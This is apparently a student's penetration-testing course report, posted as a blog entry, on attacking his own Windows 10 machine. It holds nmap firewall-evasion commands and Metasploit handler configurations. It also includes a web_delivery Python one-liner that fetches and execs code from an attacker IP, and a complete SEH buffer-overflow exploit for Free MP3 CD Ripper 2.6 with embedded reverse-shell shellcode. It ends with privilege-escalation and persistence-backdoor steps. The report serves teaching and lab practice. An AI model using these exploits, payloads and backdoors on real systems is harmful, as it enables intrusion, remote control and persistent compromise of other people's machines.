20165230田坤烨网络对抗免考报告_基于WIN10的渗透攻击

简单信息收集

主机发现

ping

  • 通过ping 命令发送ICMP报文的方法检测WIN10主机是否在线

  • 能收到回复包,证明主机在线,并能相互通信

nmap

nmap -sn

  • 用来探测活跃主机

这个命令会发送arp请求包探测目标ip是否在线,如果有arp回复包,则说明在线。此命令可以探测目标主机是否在线,如果在线,还可以得到其MAC地址。但是不会探测其开放的端口号。

端口扫描

nmap

nmap -sS

TCP SYN 扫描(-sS)
这是Nmap默认的扫描方式,通常被称作半开放扫描。该方式发送SYN到目标端口,如果收到SYN/ACK回复,那么可以判断端口是开放的;如果收到RST包,说明该端口是关闭的。如果没有收到回复,那么可以判断该端口被屏蔽了。因为该方式仅发送SYN包对目标主机的特定端口,但不建立完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。

  • 结果显示为filtered,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文或者目标主机无应答,常常会将目标主机的状态设置为filtered。

  • 把防火墙关闭试一下,可以看见主机开启的端口有135/139/443/445/902/912

OS及服务版本探测

nmap -sV

  • 通过nmap -sV 192.168.43.38扫描物理机,-sV是参数,命令nmap对目标进行端口对应相关应用程序进行扫描

绕过防火墙尝试

诱饵

这种类型的扫描是非常隐蔽且无法察觉。目标由多个假冒或伪造IP地址进行扫描。这样防火墙就会认为攻击或扫描是通过多个资源或IP地址进行,于是就绕过了防火墙。
这实际上在目标看来是由多个系统同时扫描,这使得防火墙更难追查扫描的来源。

  • 通过nmap –D decoy1,decoy2,decoy3 target来尝试欺骗防火墙

随机数据长度

附加随机数据长度,我们也可以绕过防火墙。许多防火墙通过检查数据包的大小来识别潜伏中的端口扫描。这是因为许多扫描器会发送具有特定大小的数据包。为了躲避那种检测,我们可以使用命令–data-length增加额外的数据,以便与默认大小不同。在下图中,我们通过加入25多个字节改变数据包大小。

  • 通过nmap --data-length 25 192.168.43.38命令进行随机数据长度尝试

随机顺序扫描目标

选项–randomize-host用于随机 顺序扫描指定目标。–randomize-host有助于防止因连续 扫描多个目标而防火墙和入侵检测系统检测到。

  • 通过nmap --randomize-hosts 192.168.43.38

MAC地址欺骗

每台机器都有自己独特的mac地址。因此这也是绕过防火墙的另一种方法,因为某些防火墙是基于MAC地址启用规则的。为了获得扫描结果,需要先了解哪些MAC地址可以使用。这可以通过手动或先进的模糊测试完成。
特别是–spoof-MAC选项能够从一个特定的供应商选择一个MAC地址,选择一个随机的MAC地址,或者设定您所选择的特定MAC地址。 MAC地址欺骗的另一个优点是,让扫描隐蔽,实际MAC地址就不会出现在防火墙的日志文件。

  • 通过nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target命令

实现win10的渗透攻击

CVE-2017-0199(失败)

漏洞原理

  • 该漏洞利用OFFICE OLE对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE调用URL Moniker(COM对象)将恶意链接指向的HTA文件下载到本地, 当用户打开包含嵌入式漏洞的文档时,winword.exe 会向远程服务器发出 HTTP 请求,以检索恶意 HTA 文件,服务器返回的文件时一个带有嵌入式恶意脚本的假 RTF 文件,winword.exe 通过 COM 对象查找 application/hta 的文件处理程序,这会导致 Microsoft HTA 应用程序(mshta.exe),加载恶意攻击者下载并执行包含 PowerShell 命令的 Visual Basic 脚本。

实现过程

  1. 下载cve-2017-0199.rtf:git clone https://github.com/bhdresh/CVE-2017-0199.git
  2. 此命令将运行一个python脚本来生成富文本格式的有效载荷,其中-M用于生成rtf文件,-w用于生成rtf文件的名称,即sales.rtf, -u为攻击者的IP地址或域名。
cd CVE-2017-0199
python cve-2017-0199_toolkit.py -M gen -w exploit.rtf -u http://192.168.1.24/raj.doc

  1. exploit.rtf放到win10靶机中
    在我们将这个文件发送给被攻击者之前,我们需要将它嵌套到任何后门文件中,以便我们可以建立与被攻击者的反向连接。
  2. 进入msfconsole执行监听:
msf> use multi/handler
msf exploit(handler )> set payload windows/meterpreter/reverse_tcp
msf exploit(handler )> set lhost 192.168.43.14
msf exploit(handler )> set lport 5230
msf exploit(handler )> exploit
  1. 失败

EasyFileSharing模块(失败)

攻击过程

  1. search 具体EasyFileSharing模块

  2. 具体操作

use exploit/windows/http/easyfilesharing_post
show options
set lhost 192.168.43.14
set lport 5230
set rhosts 192.168.43.38
set rport 80
exploit

  • 失败

msf web_delivery模块攻击(成功)

攻击原理

  • 此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)
  • 有两种利用方式:
    • 1.命令注入漏洞:
      在命令行注入:生成的命令
    • 2.远程文件包含漏洞:
      在包含漏洞处包含:生成的网址

攻击过程

  1. search web_delivery

  2. 具体过程

use exploit/multi/script/web_delivery
show options
set lhost 192.168.43.14
set lport 5230

exploit

  • 可以看见生成payload:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.43.14:8080/3ztfplpmKzCmFI');exec(r.read());"
  • 复制payload到Win10上面运行
  • 返回kali攻击机,已经反弹回了一个session
  • 输入命令sessions -i 3进入,成功获取了目标机

CVE-2019-9766(成功)

漏洞原理

  • Free MP3 CD Ripper是一款音频格式转换器。Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码

攻击过程

  • 靶机:Win10

  • 利用msf生成反向连接的shellcode,

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest

  • 替换脚本中的shellcode.

# Stack-based buffer overflow in Free MP3 CD Ripper 2.6

buffer = "A" * 4116

NSEH = "\xeb\x06\x90\x90"

SEH = "\x84\x20\xe4\x66"

nops = "\x90" * 5

buf = ""

buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x13\x81"
buf += "\x68\x02\x00\x1c\x3e\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

pad = "B" * (316 - len(nops) - len(buf) )

payload = buffer + NSEH + SEH + nops + buf +pad

 

try:

    f=open("TestFMCR.mp3","w")

    print "[+] Creating %s bytes mp3 File..." %len(payload)

    f.write(payload)

    f.close()

    print "[+] mp3 File created successfully!"

except:

    print "File cannot be created!"


原理解释

  • 关键代码:填充+nseh+seh+nop+shellcode

  • 填充:数据覆盖直到函数返回地址

    • nseh : next seh 指示下一个seh结构的位置,在这里使用"\xeb\x06\x90\x90"填充是一个通用的填充方法,这四个字节反汇编的结果是 jmp 6 nop nop这样三条指令,原因是jmp 6个字节刚好绕过两个nop指令和一个4字节的seh处理程序的地址,落入nop指令区,然后滑行进入shellcode

    • seh : seh处理程序地址部分填入的是一个指向pop pop ret 这样连续三条指令的一个地址,这样填充原因是,在异常出现时,先保存当前栈定,然后系统会在栈里面压入两个参数,所以两个pop是pop出来系统压的参数,然后ret到nseh的位置,接着开始执行指令,然后参考上面nseh的数据介绍就可以。

  • 2.运行脚本,生成恶意mp3文件,python FmcrExploit.py

  • 3.移动恶意文件到靶机windows10上

  • 4.打开msf并设置监听

  • 在主机上打开Free MP3 CD Ripper软件

  • 回连成功!

进行提权

普通提权

  • 获取会话后通过命令getsystem进行提权,显示没有权限

利用系统漏洞

  • 可以利用metasploit下已有的提权漏洞,如ms13_053,ms14_058,ms16_016,ms16_032等。

ms16_032

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set lport 5230
set session 3
exploit
  • 失败

powerup命令行提权

  • 通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,使用Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
  1. 首先需要下载此脚本:Powerup,之后加载此脚本:
powershell.exe -nop -exec bypass
Import-Module .\powerup.psm1

  • 加载完成以后,便可以使用Powerup中的所有模块,通过如下命令可以查看所有模块: Get-Command -Module powerup
  1. 首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号: C:\Windows\system32>net user powerup 1 /add
  2. 执行Invoke-AllChecks:PS C:\> Invoke-AllChecks

绕过UAC进行提权

  • 查看bypassuac的模块

  • (1)首先需要在meterpreter下执行background命令让当前会话保存到后台。

  • (2)使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。

  • (3)主要使用三个模块

  1. exploit/windows/local/bypassuac
  2. exploit/windows/local/bypassuac_injection_winsxs
  3. exploit/windows/local/bypassuac_sluihijack
  • 一个一个的尝试,具体过程如下
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit
  • 失败1。。。。
  • 失败2。。。
  • 失败3.。。。。

后门

  • Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。
    Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。

metsvc

  • (1)run metsvc

  • (2)命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。

  • 同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。

  • (3) 连接后门
    使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。

persistence

 使用run persistence -h查看参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-L:自启动脚本的路径,默认为%TEMP%
-P:需要使用的payload,默认为windows/meterpreter/reverse_tcp
-S:作为一个服务在系统启动时运行(需要SYSTEM权限)
-T:要使用的备用可执行模板
-U:用户登陆时运行
-X:系统启动时运行
-i:后门每隔多少秒尝试连接服务端
-p:服务端监听的端口
-r:服务端ip
  • 在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
    在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

  • (1)生成后门
    命令:run persistence -X -i 1 -p 5230 -r 192.168.43.14

  • 查看其修改的键值

  • (2)连接后门

  • 使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端口。

  • 下次重启电脑时,可以保持会话

心得体会

  • 这次实践的靶机用了自己的win10电脑,每一次尝试攻击都让我觉得心惊胆战,中途360报了好几次中了木马,我还不敢隔离,害怕自己之前做出的成果被删,导致无法分析。期间遇到了很多问题,去网上听了很多渗透测试分析课,也看了无数篇资料,当看到kali里返回了win10的shell的时候,心里真的很满足!
  • 先从信息收集开始,如果靶机开了防火墙,基本nmap的所有命令都无法获得有效的信息。于是尝试很多方法去实现绕过防火墙的信息收集,但简单的nmap命令还是没能成功,需要借助其他的工具来帮助绕过。然后是对win10实现渗透攻击,中途尝试了很多CVE漏洞,很多win10都已经补上了补丁,还有一些经过了版本更新,最终找到了一个MP3软件的缓冲区溢出漏洞和一个msf中的下载模块,获得shell的时候360没有报出有木马,mp3文件也没有被删除,可以达到免杀的目的。在获取shell的基础上,还想要进行更多的操作,进行后渗透攻击,如提权和再次使用exploit获取权限,需要持久的后门对目标进行控制。提权的过程中也遇到了很多问题,尝试了很多方法,找了很多提权漏洞,有很多漏洞是作为一个独立的步骤进行攻击,但不是在获得win10shell的基础上通过一系列指令而达到提权的目的,而通过一系列的命令来实现提权又难以实现,需要在这个课题上进一步的进行研究和尝试。安装后门的过程比较顺利,可以维持访问,但被360发现系统自启动项键值被修改,这一步没有实现免杀。
  • 通过完整的渗透测试,让我对网络攻防有了更加深入的理解和掌握。整个过程就是在理清思路的基础上不断的尝试新的方法,达到自己的目的。学习的方法就在于此,每一次学习都应该先理清思路,重要的不是跟着步骤一步一步做完,而是知道要做什么,为什么要这样做,这样做会有什么结果,以及还有什么别的方法可以得到同样的结果。在这个过程也提高了发现问题,分析问题和解决问题的能力。
  • 网络安全是一个很大的课题,每一年都有成千上万个系统漏洞被白帽子们发现,被黑客攻击,被不法分子利用,如今我所掌握的知识都只是一点皮毛,要想真正做到会攻击也会防攻击,还需要走很长很长的路。在此谢谢老师对我课题的指导和帮助,我将在以后的学习中进一步的研究和尝试,不断完善自己不断提高自己。
posted @ 2019-06-27 22:07  tiankunye  阅读(1952)  评论(1编辑  收藏  举报